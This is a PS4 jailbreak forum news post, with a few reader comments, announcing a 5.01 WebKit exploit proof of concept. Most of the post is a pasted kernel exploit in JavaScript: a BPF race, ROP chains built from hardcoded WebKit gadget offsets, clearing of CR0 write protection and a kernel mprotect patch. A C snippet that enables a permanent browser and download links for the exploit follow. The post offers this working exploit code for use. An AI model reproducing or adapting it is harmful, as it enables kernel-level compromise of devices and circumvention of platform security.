Join Us and become a Member for a Verified Badge to access private areas with the latest PS4 PKGs.
PS4 Jailbreaking       Thread starter PSXHAX       Start date Feb 27, 2018 at 3:26 AM       265      
Status
Not open for further replies.
Yesterday we saw the release of a PS4 4.55 Kernel Exploit, and today 73n1x69 shared a Github repository from ALEXZZZ9 (Twitter) of ax9.me for a PS4 5.01 WebKit Exploit PoC (Proof of Concept) with some additional details on what it could mean once PlayStation 4 developers examine it. :geek:

Download: PS4-5.01-WebKit-Exploit-PoC-master.zip / GIT / Demo via EdiTzZ of PS4.Editzz.net / Demo by AlFaMoDz / PS4 Breacher Demo (Same exploit, but Reskinned by Monstro)

While PS4 scene developers have a chance to look it over, thus far @Al Azif let us know in the PSXHAX Shoutbox that, to quote: "It successfully dumps libkernel and libSceWebKit2 ... but yeah it's real" while others are reporting that it also works on PS4 5.05 OFW and even PS4 5.50 Beta 3 (alongside another PS4 5.50 WebKit Exploit) so expect Sony to patch it shortly. :fire:

Here's some documentation from the README.md as well: PS4 5.01 WebKit Exploit PoC

Based on:
This exploit supports 5.01 (maybe others)!

Installation
  1. Install the latest version of node from nodejs.org
  2. Clone this repository
  3. Run npm install
Usage
  1. Run npm start
License

MIT License. See attached LICENSE.md file.
Test of Webkit Exploit on 5.05 Firmware
Working Webkit Exploit For All Firmwares on PS4 (Includes 5.01-5.05 & 5.50 Beta)
5.01 KEXP via Ghostbin.com:
Code:
   log("--- trying kernel exploit --");
   function malloc(sz)
   {
       var backing = new Uint8Array(0x10000+sz);
       window.nogc.push(backing);
       var ptr = p.read8(p.leakval(backing).add32(0x10));
       ptr.backing = backing;
       return ptr;
   }
   function malloc32(sz)
   {
       var backing = new Uint8Array(0x10000+sz*4);
       window.nogc.push(backing);
       var ptr = p.read8(p.leakval(backing).add32(0x10));
       ptr.backing = new Uint32Array(backing.buffer);
       return ptr;
   }
   var strcpy_helper = new Uint8Array(0x1000);
   var where_writeptr_strcpy = p.leakval(strcpy_helper).add32(0x10);
   function strcpy(ptr, str)
   {
       p.write8(where_writeptr_strcpy, ptr);
       for (var i = 0; i < str.length; i++)
           strcpy_helper[i] = str.charCodeAt(i) & 0xFF;
       strcpy_helper[str.length] = 0;
   }
 
   var spawnthread = function(name, chain) {
   
       /*
   
   
        seg000:00000000007FA7D0                         sub_7FA7D0      proc near               ; DATA XREF: sub_7F8330+5Eo
        seg000:00000000007FA7D0 55                                      push    rbp
        seg000:00000000007FA7D1 48 89 E5                                mov     rbp, rsp
        seg000:00000000007FA7D4 41 56                                   push    r14
        seg000:00000000007FA7D6 53                                      push    rbx
        seg000:00000000007FA7D7 48 89 F3                                mov     rbx, rsi
        seg000:00000000007FA7DA 49 89 FE                                mov     r14, rdi
        seg000:00000000007FA7DD 48 8D 35 E5 B3 EC 00                    lea     rsi, aMissingPlteBef ; "Missing PLTE before tRNS"
   
   
        -> xref:
   
   
        seg000:00000000007F8380 48 8D 3D 28 D8 EC 00                    lea     rdi, a1_5_18_0  ; "1.5.18"
        seg000:00000000007F8387 48 8D 15 82 23 00 00                    lea     rdx, sub_7FA710
        seg000:00000000007F838E 48 8D 0D 3B 24 00 00                    lea     rcx, sub_7FA7D0
        seg000:00000000007F8395 31 F6                                   xor     esi, esi
        seg000:00000000007F8397 49 C7 47 20 00 00 00 00                 mov     qword ptr [r15+20h], 0
        seg000:00000000007F839F 66 41 C7 47 18 00 00                    mov     word ptr [r15+18h], 0
        seg000:00000000007F83A6 49 C7 47 10 00 00 00 00                 mov     qword ptr [r15+10h], 0
        seg000:00000000007F83AE E8 8D 3C D3 00                          call    sub_152C040
   
        -> code:
   
        m_png = png_create_read_struct(PNG_LIBPNG_VER_STRING, 0, decodingFailed, decodingWarning);
   
   
        decodingWarning -> contains Missing PLTE before tRNS
   
        decodingFailed -> contains longjmp
   
        seg000:00000000007FA710                         sub_7FA710      proc near               ; DATA XREF: sub_7F8330+57o
        seg000:00000000007FA710                                                                 ; sub_7F9DC0+2Eo
        seg000:00000000007FA710 55                                      push    rbp
        seg000:00000000007FA711 48 89 E5                                mov     rbp, rsp
        seg000:00000000007FA714 48 8B 35 5D B6 E5 02                    mov     rsi, cs:qword_3655D78
        seg000:00000000007FA71B BA 60 00 00 00                          mov     edx, 60h ; '`'
        seg000:00000000007FA720 E8 AB E6 D2 00                          call    sub_1528DD0
        seg000:00000000007FA725 BE 01 00 00 00                          mov     esi, 1
        seg000:00000000007FA72A 48 89 C7                                mov     rdi, rax
        seg000:00000000007FA72D E8 26 6D 80 FF                          call    sub_1458 < longjmp
        seg000:00000000007FA732 0F 0B                                   ud2
        seg000:00000000007FA732                         sub_7FA710      endp
   
   
        */
       var longjmp = window.webKitBase.add32(0x14e8);
   
       // ThreadIdentifier createThread(ThreadFunction entryPoint, void* data, const char* name)
       /*
        seg000:00000000001DD17F 48 8D 15 C9 38 4C 01                    lea     rdx, aWebcoreGccontr ; "WebCore: GCController"
        seg000:00000000001DD186 31 F6                                   xor     esi, esi
        seg000:00000000001DD188 E8 B3 1B F9 00                          call    sub_116ED40
        */
   
       var createThread = window.webKitBase.add32(0x779190);
   
       var contextp = malloc32(0x2000);
       var contextz = contextp.backing;
       contextz[0] = 1337;
   
       var thread2 = new RopChain();
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       thread2.push(window.gadgets["ret"]); // nop
       chain(thread2);
   
       p.write8(contextp, window.gadgets["ret"]); // rip -> ret gadget
       p.write8(contextp.add32(0x10), thread2.ropframeptr); // rsp
   
       var retv = function() {p.fcall(createThread, longjmp, contextp, p.sptr(name));}
   
       window.nogc.push(contextp);
       window.nogc.push(thread2);
   
       return retv;
   }

   var fd = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
   var fd1 = p.syscall("open", p.sptr("/dev/bpf0"), 2).low;
   if (fd == (-1 >>> 0))
   {
       print("kexp failed: no bpf0");
   }
 
   var assertcnt = 0;
   var assert = function(x)
   {
       assertcnt++;
       if (!x) throw "assertion " + assertcnt + " failed";
   }
 
   print("got it");
 
   var bpf_valid = malloc32(0x4000);
   var bpf_spray = malloc32(0x4000);
   var bpf_valid_u32 = bpf_valid.backing;
   var bpf_valid_prog = malloc(0x40);
   p.write8(bpf_valid_prog, 0x800/8)
   p.write8(bpf_valid_prog.add32(8), bpf_valid)
   var bpf_spray_prog = malloc(0x40);
   p.write8(bpf_spray_prog, 0x800/8)
   p.write8(bpf_spray_prog.add32(8), bpf_spray)
 
   for (var i = 0 ; i < 0x400; )
   {
       bpf_valid_u32[i++] = 6; // BPF_RET
       bpf_valid_u32[i++] = 0;
   }

   var rtv = p.syscall("ioctl", fd, 0x8010427B, bpf_valid_prog);
   assert(rtv.low == 0);

   print("okay")
 

   var interrupt1, loop1;
   var interrupt2, loop2;
   var sock = p.syscall(97, 2, 2)
   var kscratch = malloc32(0x100);

   var start1 = spawnthread("GottaGoFast", function(thread2){
               interrupt1 = thread2.ropframeptr;
               thread2.push(window.gadgets["ret"]); // pop rdx
               thread2.push(window.gadgets["ret"]); // pop rdx
               thread2.push(window.gadgets["ret"]); // pop rdx

               thread2.push(window.gadgets["pop rdi"]); // pop rdi
               thread2.push(fd); // what
               thread2.push(window.gadgets["pop rsi"]); // pop rsi
               thread2.push(0x8010427B); // what
               thread2.push(window.gadgets["pop rdx"]); // pop rdx
               thread2.push(bpf_valid_prog); // what
               thread2.push(window.gadgets["pop rsp"]); // pop rdx
               thread2.push(thread2.ropframeptr.add32(0x800)); // what
               thread2.count = 0x100;
               var cntr = thread2.count;
               thread2.push(window.syscalls[54]); // ioctl
               thread2.push_write8(thread2.ropframeptr.add32(cntr*8), window.syscalls[54]); // restore ioctl

               thread2.push(window.gadgets["pop rdi"]); // pop rdi
               var wherep = thread2.pushSymbolic(); // where
               thread2.push(window.gadgets["pop rsi"]); // pop rsi
               var whatp = thread2.pushSymbolic(); // where
               thread2.push(window.gadgets["mov [rdi], rsi"]); // perform write

               thread2.push(window.gadgets["pop rsp"]); // pop rdx
           
               loop1 = thread2.ropframeptr.add32(thread2.count*8);
               thread2.push(0x41414141); // what

               thread2.finalizeSymbolic(wherep, loop1);
               thread2.finalizeSymbolic(whatp, loop1.sub32(8));

               })

   var krop = new RopChain();
   var race = new RopChain();
   var ctxp = malloc32(0x2000);
   var ctxp1 = malloc32(0x2000);

   p.write8(bpf_spray.add32(16), ctxp);

   var prefaultlist = [];
   function pfd(addr)
   {
       var page = addr.add32(0);
       page.low &= 0xffffc000;
       p.syscall("mlock", page, 0x8000);
       p.read4(addr);
       return addr;
   }
   function pf(addr){
       var page = addr.add32(0);
       page.low &= 0xffffc000;
       p.syscall("mlock", page, 0x8000);
       var ret = addr.add32(0);
       while (1)
       {
           var opcode = (p.read4(ret) & 0xff);
           if (opcode == 0xc3)
           {
               prefaultlist.push(ret);
               break;
           }
           ret.add32inplace(1);
       }
       return addr;
   }
   for (var gadgetname in gadgets) {
       if (gadgets.hasOwnProperty(gadgetname)) {
           if (gadgetname == "stack_chk_fail" || gadgetname == "memset" || gadgetname == "setjmp") continue;
           pf(gadgets[gadgetname]);
       }
   }
/*
 67d27:    48 8b 07                 mov    (%rdi),%rax
 67d2a:    ff 50 58                 callq  *0x58(%rax)

 12a184d:    48 83 ec 58              sub    $0x58,%rsp
 12a1851:    89 55 d4                 mov    %edx,-0x2c(%rbp)
 12a1854:    49 89 fd                 mov    %rdi,%r13
 12a1857:    49 89 f7                 mov    %rsi,%r15
 12a185a:    49 8b 45 00              mov    0x0(%r13),%rax
 12a185e:    ff 90 d0 07 00 00        callq  *0x7d0(%rax)

 6ef2e5:    48 8b 7f 10              mov    0x10(%rdi),%rdi
 6ef2e9:    ff 20                    jmpq   *(%rax)

 2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
 2728a5:    ff 50 40                 callq  *0x40(%rax)

 12846b4:    48 8b 77 08              mov    0x8(%rdi),%rsi
 12846b8:    48 8b 7f 18              mov    0x18(%rdi),%rdi
 12846bc:    48 8b 07                 mov    (%rdi),%rax
 12846bf:    ff 50 30                 callq  *0x30(%rax)

 15ca29b:    48 8b 97 b0 00 00 00     mov    0xb0(%rdi),%rdx
 15ca2a2:    ff 57 70                 callq  *0x70(%rdi)

 f094a:    48 89 e5                 mov    %rsp,%rbp
 f094d:    48 8b 07                 mov    (%rdi),%rax
 f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
*/
   var ctxp2 = malloc32(0x2000);

   var wk2apf = function(off)
   {
       var addr = window.webKitBase.add32(off);
       pf(addr);
       return addr;
   }

   p.write8(ctxp.add32(0x50), 0);
   p.write8(ctxp.add32(0x68), ctxp1);
   var stackshift_from_retaddr = 0;
   p.write8(ctxp1.add32(0x10), wk2apf(0x12a184d));
   stackshift_from_retaddr += 8 + 0x58; // call + sub
   p.write8(ctxp.add32(0), ctxp2);
   p.write8(ctxp.add32(0x10), ctxp2.add32(8));

   p.write8(ctxp2.add32(0x7d0), wk2apf(0x6ef2e5))

   // rax = ctxp2, rdi = ctxp2 + 8
   var iterbase = ctxp2;
 
   for (var i=0; i<0xf; i++)
   {
       p.write8(iterbase, wk2apf(0x12a184d))
       stackshift_from_retaddr += 8 + 0x58; // call + sub
       // rax = ctxp2+0x20
       p.write8(iterbase.add32(0x7d0+0x20), wk2apf(0x6ef2e5))
       p.write8(iterbase.add32(8), iterbase.add32(0x20));
       p.write8(iterbase.add32(0x18), iterbase.add32(0x20+8))
       iterbase = iterbase.add32(0x20);
   }

   var raxbase = iterbase;
   var rdibase = iterbase.add32(8);
   var memcpy = get_jmptgt(webKitBase.add32(0xf8));
   memcpy = p.read8(memcpy);
   pf(memcpy);
 
   p.write8(raxbase, wk2apf(0x15ca29b))
   stackshift_from_retaddr += 8; // call + sub
   p.write8(rdibase.add32(0x70), wk2apf(0x12846b4)); // next gadget
   stackshift_from_retaddr += 8; // call + sub
   p.write8(rdibase.add32(0x18), rdibase); // rdi
   p.write8(rdibase.add32(8), krop.ropframeptr); // rax
   p.write8(raxbase.add32(0x30), wk2apf(0xf094a)); // next gadget
   p.write8(rdibase, raxbase);
   p.write8(raxbase.add32(0x420), wk2apf(0x2728a1)); // next gadget
   p.write8(raxbase.add32(0x40), memcpy.add32(0xc2-0x90)); // next gadget (memcpy skipping prolog)
   var topofchain = stackshift_from_retaddr + 0x28 ;
   p.write8(rdibase.add32(0xb0), topofchain); // rdx
   for (var i = 0; i < 0x1000/8; i++)
   {
       p.write8(krop.ropframeptr.add32(i*8), window.gadgets["ret"]);
   }
   krop.count = 0x10;
   /*
    f094a:    48 89 e5                 mov    %rsp,%rbp
    f094d:    48 8b 07                 mov    (%rdi),%rax
    f0950:    ff 90 20 04 00 00        callq  *0x420(%rax)
 
    2728a1:    48 8d 7d d8              lea    -0x28(%rbp),%rdi
    2728a5:    ff 50 40                 callq  *0x40(%rax)
 
    55566f:    48 01 c7                 add    %rax,%rdi
    555672:    48 89 f8                 mov    %rdi,%rax
    555675:    c3                       retq
 
    46ef9:    48 8b 07                 mov    (%rdi),%rax
    46efc:    c3                       retq
 
    1520c6:    48 01 f0                 add    %rsi,%rax
    1520c9:    c3                       retq
 
    14536b:    48 89 07                 mov    %rax,(%rdi)
    14536e:    c3                       retq
 
    1570a1f:    48 21 f0                 and    %rsi,%rax
    1570a22:    c3                       retq
 
    353a71:    48 89 c2                 mov    %rax,%rdx
    353a74:    c3                       retq
 
    1cee60:    48 89 d0                 mov    %rdx,%rax
    1cee63:    c3                       retq
 
    15a3faf:    48 89 c7                 mov    %rax,%rdi
    15a3fb2:    c3                       retq
 
    6c83a:    48 8b 00                 mov    (%rax),%rax
    6c83d:    c3                       retq
 
    295dbe:    ff e7                    jmpq   *%rdi

    */
   p.write8(kscratch.add32(0x420), window.gadgets["pop rdi"]);
   p.write8(kscratch.add32(0x40), window.gadgets["pop rax"]);
   p.write8(kscratch.add32(0x18), kscratch);

   function set_rdi_rbpoff() {
   krop.push(window.gadgets["pop rdi"]); // pop rdi
   krop.push(kscratch.add32(0x18)); // what
 
   krop.push(wk2apf(0xf094a)); // rbp = rsp
   var rbp_off = topofchain - krop.count*8 + 0x28;
   krop.push(wk2apf(0x2728a1)); // rbp = rsp
 
       return rbp_off;
   }
 
   function add_to_rdi(imm)
   {
       krop.push(window.gadgets["pop rax"]); // pop rdi
       krop.push(imm); // what
       krop.push(wk2apf(0x55566f)); // rbp = rsp

   }
 
   var rboff = set_rdi_rbpoff();
   add_to_rdi(rboff);
 
   var add_rax = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rsi
       krop.push(imm); // what
       krop.push(wk2apf(0x1520c6)); // add rsi to rax
   }

 
   krop.push(wk2apf(0x46ef9)); // deref rdi in rax
   add_rax(0x2fa); // what
   krop.push(wk2apf(0x14536b)); // write rax to rdi

   var shellbuf = malloc32(0x1000);
 
 
   var write_rax = function(addr)
   {
       krop.push(window.gadgets["pop rdi"]); // pop rdi
       krop.push(addr); // what
       krop.push(wk2apf(0x14536b)); // write rax to rdi
   }
 
   var load_rax = function(addr)
   {
       krop.push(window.gadgets["pop rax"]); // pop rax
       krop.push(addr); // what
       krop.push(wk2apf(0x6c83a)); // deref rax
   }
 
   var and_rax = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rdi
       krop.push(imm); // what
       krop.push(wk2apf(0x1570a1f)); // and rax to rdi
   }
 
   var rax_to_rdx = function()
   {
       krop.push(wk2apf(0x353a71)); // rax to rdx
   }
   var rdx_to_rax = function()
   {
       krop.push(wk2apf(0x1cee60)); // rdx to rax
   }
   var rax_to_rdi = function()
   {
       krop.push(wk2apf(0x15a3faf)); // rax to rdi
   }
   var write_to_rax64 = function(imm)
   {
       krop.push(window.gadgets["pop rsi"]); // pop rdi
       krop.push(imm); // what
       krop.push(window.gadgets["mov [rax], rsi"]); // pop rdi
   }
   write_rax(kscratch); // save address in usermode
   add_rax(0xc54b4)
   write_rax(kscratch.add32(8)); // save address
   krop.push(wk2apf(0x82)); // jmp rax
   write_rax(kscratch.add32(16)); // save cr0
   and_rax(new int64(0xfffeffff,0xffffffff)); // unset bit
   rax_to_rdx();
   load_rax(kscratch.add32(8))
   add_rax(9)
   rax_to_rdi();
   rdx_to_rax();
   krop.push(wk2apf(0x295dbe)); // jmp rdi
 
   /*
    Write Anywhere mode
    */
 
   load_rax(kscratch);
   add_rax(0x3609a);
   krop.push(wk2apf(0x6c83a)); // deref rax
   write_rax(kscratch.add32(0x330)); // rando offset lol

 
// put patches here. example is mprotect patch

   load_rax(kscratch);
   add_rax(0x3609a);
   write_to_rax64(new int64(0x9090FA38,0x90909090)); // patch mprotect
 
 
   /*
    Disable Write Anywhere mode
    */

   load_rax(kscratch.add32(8))
   add_rax(9)
   rax_to_rdi();
   load_rax(kscratch.add32(16))
   krop.push(wk2apf(0x295dbe)); // jmp rdi

   krop.push(wk2apf(0x5cdb9));
   krop.push(kscratch.add32(0x1000));
Patches to allow Perm Browser on 5.01
Code:
#define KERNEL_REGMGR_SETINT 0x4F8940

uint64_t *(sceRegMgrSetInt)(uint32_t regId, int value) = NULL;
sceRegMgrSetInt = (void *)&ptrKernel[KERNEL_REGMGR_SETINT];
sceRegMgrSetInt(0x3C040000, 0, 0, 0, 0);
PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9.jpg

PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9 2.jpg

PS4 5.01 WebKit Exploit PoC (Proof of Concept) by ALEXZZZ9 3.jpg
 

Comments

I have a friend using 5.05, tell him to check this on his ps4. Will feedback to me how it goes tonight when he gets home

should this thread be on home page ?
 
Anyone confirmed this working on 4.55?
I guess this webkit is userland only, so not that exciting if working on higher versions atm.

Hopefully it can be combined with qwertyuiop's 4.55 kernel exploit.
 
boys
this entrypoint is tested and functioning up to 5.05 :bananaman13::bananaman:
it's not a complete jailbreak just an entrypoint for the moment
 
Status
Not open for further replies.
Back
Top